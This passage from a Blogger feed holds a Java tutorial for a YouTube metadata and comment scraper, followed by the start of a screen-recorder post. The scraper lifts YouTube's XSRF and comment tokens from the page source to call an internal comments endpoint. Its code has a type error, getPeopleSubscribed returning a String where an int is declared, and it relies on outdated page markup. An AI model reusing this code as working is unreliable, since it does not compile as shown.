&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &#39;COMMENTS_TOKEN&#39;: &quot;SOME_TOKEN&quot;,  
&lt;/code&gt;&lt;/pre&gt;
2) We obtain a response object as argument. This contains the response details when user provided youtube video is opened.&lt;br /&gt;
3) &amp;nbsp;In our module, first we obtain the page source of the youtube video page by calling body method over the response object obtained as argument.&lt;br /&gt;
4) Now we search for the text&amp;nbsp;&lt;span style=&quot;font-family: monospace; white-space: pre-wrap;&quot;&gt;COMMENTS_TOKEN&#39;: &quot;&lt;/span&gt;&amp;nbsp;in the page source and extract the string upto &quot;. This will extract the comment token.&lt;br /&gt;
5) Comment token is returned.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getSessionToken method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public String getSessionToken(Response res)  
      {  
           String pageSource=res.body();  
           String xsrfToken=pageSource=pageSource.substring(pageSource.indexOf(&quot;XSRF_TOKEN&#39;: \&quot;&quot;)+14);  
           xsrfToken=xsrfToken.substring(0,xsrfToken.indexOf(&quot;\&quot;&quot;));  
           return xsrfToken;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) If you open any youtube video, you will find below token in page source which is used by youtube for csrf protection.&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &#39;XSRF_TOKEN&#39;:&quot;SOME_TOKEN&quot;,  
&lt;/code&gt;&lt;/pre&gt;
2) We obtain a response object as argument. This contains the response details when user provided youtube video is opened.&lt;br /&gt;
3) &amp;nbsp;In our module, first we obtain the page source of the youtube video page by calling body method over the response object obtained as argument.&lt;br /&gt;
4) Now we search for the text&amp;nbsp;&lt;span style=&quot;font-family: monospace; white-space: pre-wrap;&quot;&gt;&#39;XSRF_TOKEN&#39;:&quot;&lt;/span&gt;&amp;nbsp;in the page source and extract the string upto &quot;. This will extract the xsrf token.&lt;br /&gt;
5) XSRF token is returned.&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getVideoId method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public String getVideoId(String url)  
      {  
           url=url.substring(url.indexOf(&quot;v=&quot;)+2);  
           if(url.contains(&quot;?&quot;))  
           {  
                url=url.substring(0,url.indexOf(&quot;?&quot;));  
           }  
           return url;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Youtube url contains a param named v which contains the video id&lt;br /&gt;
2) We find the location of word v= and extract its value and return the same.&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getTitle method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public String getTitle(Document doc)  
      {  
           return doc.select(&quot;#eow-title&quot;).text();  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Youtube video contains the video title in HTML element with id as eow-title&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;span id=&quot;eow-title&quot; class=&quot;watch-title&quot; dir=&quot;ltr&quot; title=&quot;Dangal | Official Trailer | Aamir Khan | In Cinemas Dec 23, 2016&quot;&amp;gt;  
   Dangal | Official Trailer | Aamir Khan | In Cinemas Dec 23, 2016  
  &amp;lt;/span&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
2) Document object contains the document detail of the youtube video.&lt;br /&gt;
3) We use the document object to find the text from the HTML tag containing id as eow-title&lt;br /&gt;
4) We return the title&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getViews method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public String getViews(Document doc)  
      {  
           return doc.select(&quot;.watch-view-count&quot;).text();  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Youtube video contains the video views in HTML element with class as watch-view-count&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;div class=&quot;watch-view-count&quot;&amp;gt;40,095,041 views&amp;lt;/div&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
2) Document object contains the document detail of the youtube video.&lt;br /&gt;
3) We use the document object to find the text from the HTML tag containing class as watch-view-count&lt;br /&gt;
4) We return the views&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getDesc method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public String getDesc(Document doc)  
      {  
           return doc.select(&quot;#watch-description-clip&quot;).text();  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Youtube video contains the video description in HTML element with id as watch-description-clip&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;div id=&quot;watch-description-clip&quot;&amp;gt;&amp;lt;div id=&quot;watch-uploader-info&quot;&amp;gt;&amp;lt;strong class=&quot;watch-time-text&quot;&amp;gt;Some description  
&lt;/code&gt;&lt;/pre&gt;
2) Document object contains the document detail of the youtube video.&lt;br /&gt;
3) We use the document object to find the text from the HTML tag containing id as watch-description-clip&lt;br /&gt;
4) We return the video description&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getPeopleSubscribed method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public int getPeopleSubscribed(Document doc)  
      {  
           return doc.select(&quot;.yt-subscriber-count&quot;).text().replace(&quot;,&quot;, &quot;&quot;);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Youtube video contains the user subscribed in HTML element with class as yt-subscriber-count&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;span class=&quot;yt-subscription-button-subscriber-count-branded-horizontal yt-subscriber-count&quot; title=&quot;1,057,873&quot; aria-label=&quot;1,057,873&quot; tabindex=&quot;0&quot;&amp;gt;1,057,873&amp;lt;/span&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
2) Document object contains the document detail of the youtube video.&lt;br /&gt;
3) We use the document object to find the text from the HTML tag containing class as yt-subscriber-count&lt;br /&gt;
4) We return the video subscription count&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getPeopleLiked method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public int getPeopleLiked(Document doc)  
      {  
           return Integer.parseInt(doc.select(&quot;button.like-button-renderer-like-button-unclicked span&quot;).text().replace(&quot;,&quot;, &quot;&quot;));  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Youtube video contains the people who liked video in HTML element with class as like-button-renderer-like-button-unclicked&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;button class=&quot;yt-uix-button yt-uix-button-size-default yt-uix-button-opacity yt-uix-button-has-icon no-icon-markup like-button-renderer-like-button like-button-renderer-like-button-unclicked yt-uix-clickcard-target  yt-uix-tooltip&quot; type=&quot;button&quot; onclick=&quot;;return false;&quot; title=&quot;I like this&quot; aria-label=&quot;like this video along with 327,229 other people&quot; data-force-position=&quot;true&quot; data-orientation=&quot;vertical&quot; data-position=&quot;bottomright&quot; data-tooltip-text=&quot;I like this&quot; aria-labelledby=&quot;yt-uix-tooltip620-arialabel&quot;&amp;gt;&amp;lt;span class=&quot;yt-uix-button-content&quot;&amp;gt;327,229&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
2) Document object contains the document detail of the youtube video.&lt;br /&gt;
3) We use the document object to find the text from the HTML tag containing class as like-button-renderer-like-button-unclicked&lt;br /&gt;
4) We return the video like count&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getPeopleDisliked method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public int getPeopleDisliked(Document doc)  
      {  
           return Integer.parseInt(doc.select(&quot;button.like-button-renderer-dislike-button-unclicked span&quot;).text().replace(&quot;,&quot;, &quot;&quot;));  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Youtube video contains the people who disliked video in HTML element with class as like-button-renderer-dislike-button-unclicked&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;button class=&quot;yt-uix-button yt-uix-button-size-default yt-uix-button-opacity yt-uix-button-has-icon no-icon-markup like-button-renderer-dislike-button like-button-renderer-dislike-button-unclicked yt-uix-clickcard-target  yt-uix-tooltip&quot; type=&quot;button&quot; onclick=&quot;;return false;&quot; title=&quot;I dislike this&quot; aria-label=&quot;dislike this video along with 28,697 other people&quot; data-force-position=&quot;true&quot; data-orientation=&quot;vertical&quot; data-position=&quot;bottomright&quot; data-tooltip-text=&quot;I dislike this&quot; aria-labelledby=&quot;yt-uix-tooltip621-arialabel&quot;&amp;gt;&amp;lt;span class=&quot;yt-uix-button-content&quot;&amp;gt;28,697&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
2) Document object contains the document detail of the youtube video.&lt;br /&gt;
3) We use the document object to find the text from the HTML tag containing class as like-button-renderer-dislike-button-unclicked&lt;br /&gt;
4) We return the video dislike count&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Enter the youtube video for which metadata need to be extracted  
 https://www.youtube.com/watch?v=x_7YlGv9u1g  
 Dangal | Official Trailer | Aamir Khan | In Cinemas Dec 23, 2016  
 Published on Oct 19, 2016 Dangal is an extraordinary true story based on the life of Mahavir Singh and his two daughters, Geeta and Babita Phogat. The film traces the inspirational journey of a father who trains his daughters to become world class wrestlers. Release Date: 23rd December 2016 Starring: Aamir Khan, Sakshi Tanwar, Fatima Sana Shaikh, Sanya Malhotra, Zaira Wasim, Suhani Bhatnagar Directed By: Nitesh Tiwari Written By: Nitesh Tiwari, Shreyas Jain, Piyush Gupta, Nikhil Mehrotra Produced By: Aamir Khan, Kiran Rao &amp;amp; Siddharth Roy Kapur Music: Pritam Lyrics: Amitabh Bhattacharya Director of Photography: Setu Production Designer: Laxmi Keluskar &amp;amp; Sandeep Meher Editor: Ballu Saluja Casting Director: Mukesh Chhabra Costume Designer: Maxima Basu Wrestling Choreography and Coach: Kripashankar Patel Bishnoi Action Director: Sham Kaushal Sound Designer: Shajith Koyeri SUBSCRIBE UTV Motion Pictures: http://www.youtube.com/utvmotionpictures Keep up with UTV Motion Pictures on: TWITTER: https://twitter.com/utvfilms FACEBOOK: https://www.facebook.com/utvmotionpic... INSTAGRAM: http://instagram.com/utvfilms GOOGLE+: https://plus.google.com/+UTVMotionPic... PINTEREST: http://pinterest.com/utvfilms/ Category Entertainment License Standard YouTube License  
 Video Views:   
 42,718,537 views  
 People subscribed:   
 1072189  
 People who liked the video:   
 333530  
 People who disliked the video:   
 29338  
 Top Comments:   
 1) Where are the haters who wanted to boycott this movie. The movie has already crossed 100 crores in 3 days.﻿  
 2) No Words To Express The AWESOMENESS Of This Movie...😘😍😎😯﻿  
 3) AWESOME MOVIE BEST MOVIE OF 2016 YALL WATCH IT  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.io.IOException;  
 import java.util.ArrayList;  
 import java.util.List;  
 import java.util.Scanner;  
 import java.util.regex.Matcher;  
 import java.util.regex.Pattern;  
 import org.jsoup.Connection.Response;  
 import org.jsoup.Jsoup;  
 import org.jsoup.nodes.Document;  
 import org.jsoup.nodes.Element;  
 import org.jsoup.select.Elements;  
 public class YoutubeMetadataCrawler {  
      /**  
       * @param args  
       */  
      public static void main(String[] args) {  
           String link=&quot;&quot;;  
           Scanner s=new Scanner(System.in);  
           // TODO Auto-generated method stub  
           try {  
                System.out.println(&quot;Enter the youtube video for which metadata need to be extracted&quot;);  
                link=s.nextLine();  
                Document doc = Jsoup.connect(link).ignoreContentType(true).timeout(5000).get();  
                YoutubeMetadataCrawler ymc=new YoutubeMetadataCrawler();  
                String title=ymc.getTitle(doc);  
                String desc=ymc.getDesc(doc);  
                String views=ymc.getViews(doc);  
                String subscribed=ymc.getPeopleSubscribed(doc);  
                int liked=ymc.getPeopleLiked(doc);  
                int disliked=ymc.getPeopleDisliked(doc);  
                String vid=ymc.getVideoId(link);  
                List&amp;lt;String&amp;gt; comments=ymc.getCommentsDesc(link,vid);  
                System.out.println(title);  
                System.out.println(desc);  
                System.out.println(&quot;Video Views: \n&quot;+views);  
                System.out.println(&quot;People subscribed: \n&quot;+subscribed);  
                System.out.println(&quot;People who liked the video: \n&quot;+liked);  
                System.out.println(&quot;People who disliked the video: \n&quot;+disliked);  
                System.out.println(&quot;Top Comments: &quot;);  
                int i=0;  
                for(String comment:comments)  
                {  
                     System.out.println(++i+&quot;) &quot;+comment);  
                }  
           } catch (IOException e) {  
                System.out.println(&quot;JSoup is unable to connect to the website&quot;);  
           }  
           finally  
           {  
                s.close();  
           }  
      }  
      public static String removeUTFCharacters(String data){  
           Pattern p = Pattern.compile(&quot;\\\\u(\\p{XDigit}{4})&quot;);  
           Matcher m = p.matcher(data);  
           StringBuffer buf = new StringBuffer(data.length());  
           while (m.find()) {  
           String ch = String.valueOf((char) Integer.parseInt(m.group(1), 16));  
           m.appendReplacement(buf, Matcher.quoteReplacement(ch));  
           }  
           m.appendTail(buf);  
           return new String(buf);  
           }  
      public String getTitle(Document doc)  
      {  
           return doc.select(&quot;#eow-title&quot;).text();  
      }  
      public String getViews(Document doc)  
      {  
           return doc.select(&quot;.watch-view-count&quot;).text();  
      }  
      public String getDesc(Document doc)  
      {  
           return doc.select(&quot;#watch-description-clip&quot;).text();  
      }  
      public List&amp;lt;String&amp;gt; getCommentsDesc(String link, String vid)  
      {  
           List&amp;lt;String&amp;gt; comments=new ArrayList&amp;lt;&amp;gt;();  
           try {  
                Response response = Jsoup.connect(link).ignoreContentType(true).timeout(5000).execute();  
                Document doc = Jsoup.connect(&quot;https://www.youtube.com/watch_fragments_ajax?v=&quot;+vid+&quot;&amp;amp;tr=time&amp;amp;distiller=1&amp;amp;ctoken=&quot;+getCommentToken(response)+&quot;&amp;amp;frags=comments&amp;amp;spf=load&quot;)  
                     .ignoreContentType(true)  
                     .cookies(response.cookies())  
                     .header(&quot;X-Client-Data&quot;, &quot;&quot;)  
                     .timeout(5000)  
                     .data(&quot;session_token&quot;,getSessionToken(response))  
                     .post();  
                String commentSource=doc.body().text();  
                while(commentSource.indexOf(&quot;comment-renderer-text-content&quot;)&amp;gt;-1)  
                {  
                     int pos=commentSource.indexOf(&quot;comment-renderer-text-content&quot;)+37;  
                     commentSource=commentSource.substring(pos);  
                     //System.out.println(commentSource);  
                     String comment=commentSource.substring(0,commentSource.indexOf(&quot;div&quot;)-8);  
                     comments.add(removeUTFCharacters(comment));  
                }  
           Elements e= doc.select(&quot;.comment-renderer-text-content&quot;);  
           for(Element e1:e)  
           {  
                comments.add(e1.text());  
           }  
           } catch (IOException e2) {  
                System.out.println(&quot;Unable to retrieve comments &quot;+e2.getMessage());  
                e2.printStackTrace();  
           }  
           return comments;  
      }  
      public String getCommentToken(Response res)  
      {  
           String pageSource=res.body();  
           String commentToken=pageSource=pageSource.substring(pageSource.indexOf(&quot;COMMENTS_TOKEN&#39;: \&quot;&quot;)+18);  
           commentToken=commentToken.substring(0,commentToken.indexOf(&quot;\&quot;&quot;));  
           commentToken=commentToken.replaceAll(&quot;%&quot;, &quot;%25&quot;);  
           return commentToken;  
      }  
      public String getSessionToken(Response res)  
      {  
           String pageSource=res.body();  
           String xsrfToken=pageSource=pageSource.substring(pageSource.indexOf(&quot;XSRF_TOKEN&#39;: \&quot;&quot;)+14);  
           xsrfToken=xsrfToken.substring(0,xsrfToken.indexOf(&quot;\&quot;&quot;));  
           return xsrfToken;  
      }  
      public String getVideoId(String url)  
      {  
           url=url.substring(url.indexOf(&quot;v=&quot;)+2);  
           if(url.contains(&quot;?&quot;))  
           {  
                url=url.substring(0,url.indexOf(&quot;?&quot;));  
           }  
           return url;  
      }  
      public int getPeopleSubscribed(Document doc)  
      {  
           return doc.select(&quot;.yt-subscriber-count&quot;).text().replace(&quot;,&quot;, &quot;&quot;);  
      }  
      public int getPeopleLiked(Document doc)  
      {  
           return Integer.parseInt(doc.select(&quot;button.like-button-renderer-like-button-unclicked span&quot;).text().replace(&quot;,&quot;, &quot;&quot;));  
      }  
      public int getPeopleDisliked(Document doc)  
      {  
           return Integer.parseInt(doc.select(&quot;button.like-button-renderer-dislike-button-unclicked span&quot;).text().replace(&quot;,&quot;, &quot;&quot;));  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Hope it helps :)&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/12/create-youtube-metadata-crawler-using.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>9</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-3605022451715219135</guid><pubDate>Sun, 18 Dec 2016 14:17:00 +0000</pubDate><atom:updated>2016-12-18T06:17:34.542-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">convert</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">javacv</category><category domain="http://www.blogger.com/atom/ns#">opencv</category><category domain="http://www.blogger.com/atom/ns#">record</category><category domain="http://www.blogger.com/atom/ns#">screen</category><category domain="http://www.blogger.com/atom/ns#">swing</category><category domain="http://www.blogger.com/atom/ns#">thread</category><category domain="http://www.blogger.com/atom/ns#">video</category><title>Create your own Free Screen Recorder using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Their are many commercial software which allows you to record your desktop screen and save the video.&lt;br /&gt;
In this post we will learn how to create a simple screen recorder using Java. This recorder will be capable of recording full screen or record the user selected region.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How it works:&lt;/b&gt;&lt;br /&gt;
1) When user starts the recording then program starts 2 threads.&lt;br /&gt;
2) The first thread keeps on taking screenshot of the screen and saves them into local disk mentioned in variable inputImgDir&lt;br /&gt;
3) The second thread continuously looks over the inputImageDir and adds all the new images into the video.&lt;br /&gt;
4) When user press stop recording then both threads stop and final video is retrieved.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/recorder/tree/master/ScreenRecorder&quot;&gt;https://github.com/csanuragjain/recorder/tree/master/ScreenRecorder&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;POM Dependency:&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif; font-size: 13.2px;&quot;&gt;Please add the below pom dependency from&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://mvnrepository.com/artifact/org.bytedeco/javacv&quot; style=&quot;background-color: white; color: #888888; font-family: arial, tahoma, helvetica, freesans, sans-serif; font-size: 13.2px; text-decoration: none;&quot;&gt;https://mvnrepository.com/artifact/org.bytedeco/javacv&lt;/a&gt;&lt;span style=&quot;color: #222222; font-family: &amp;quot;arial&amp;quot; , &amp;quot;tahoma&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;freesans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; font-size: 13.2px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 564.3px;&quot;&gt;&lt;code style=&quot;word-wrap: normal;&quot;&gt;&amp;lt;dependency&amp;gt;   
   &amp;lt;groupId&amp;gt;org.bytedeco&amp;lt;/groupId&amp;gt;   
   &amp;lt;artifactId&amp;gt;javacv&amp;lt;/artifactId&amp;gt;   
   &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;   
  &amp;lt;/dependency&amp;gt;  &lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2016/11/convert-movie-to-images-using-java.html&quot;&gt;https://cooltrickshome.blogspot.in/2016/11/convert-movie-to-images-using-java.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2016/11/create-desktop-screenshot-maker.html&quot;&gt;https://cooltrickshome.blogspot.in/2016/11/create-desktop-screenshot-maker.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Variables:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static boolean videoComplete=false;  
      public static String inputImageDir=&quot;inputImgFolder&quot;+File.separator;  
      public static String inputImgExt=&quot;png&quot;;  
      public static String outputVideo=&quot;recording.mp4&quot;;   
      public static int counter=0;  
      public static int imgProcessed=0;  
      public static FFmpegFrameRecorder recorder=null;  
      public static int videoWidth=1920;  
      public static int videoHeight=1080;  
      public static int videoFrameRate=3;  
      public static int videoQuality=0; // 0 is the max quality  
      public static int videoBitRate=9000;  
      public static String videoFormat=&quot;mp4&quot;;  
      public static int videoCodec=avcodec.AV_CODEC_ID_MPEG4;  
      public static Thread t1=null;  
      public static Thread t2=null;  
      public static JFrame frame=null;  
      public static boolean isRegionSelected=false;  
      public static int c1=0;  
      public static int c2=0;  
      public static int c3=0;  
      public static int c4=0;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
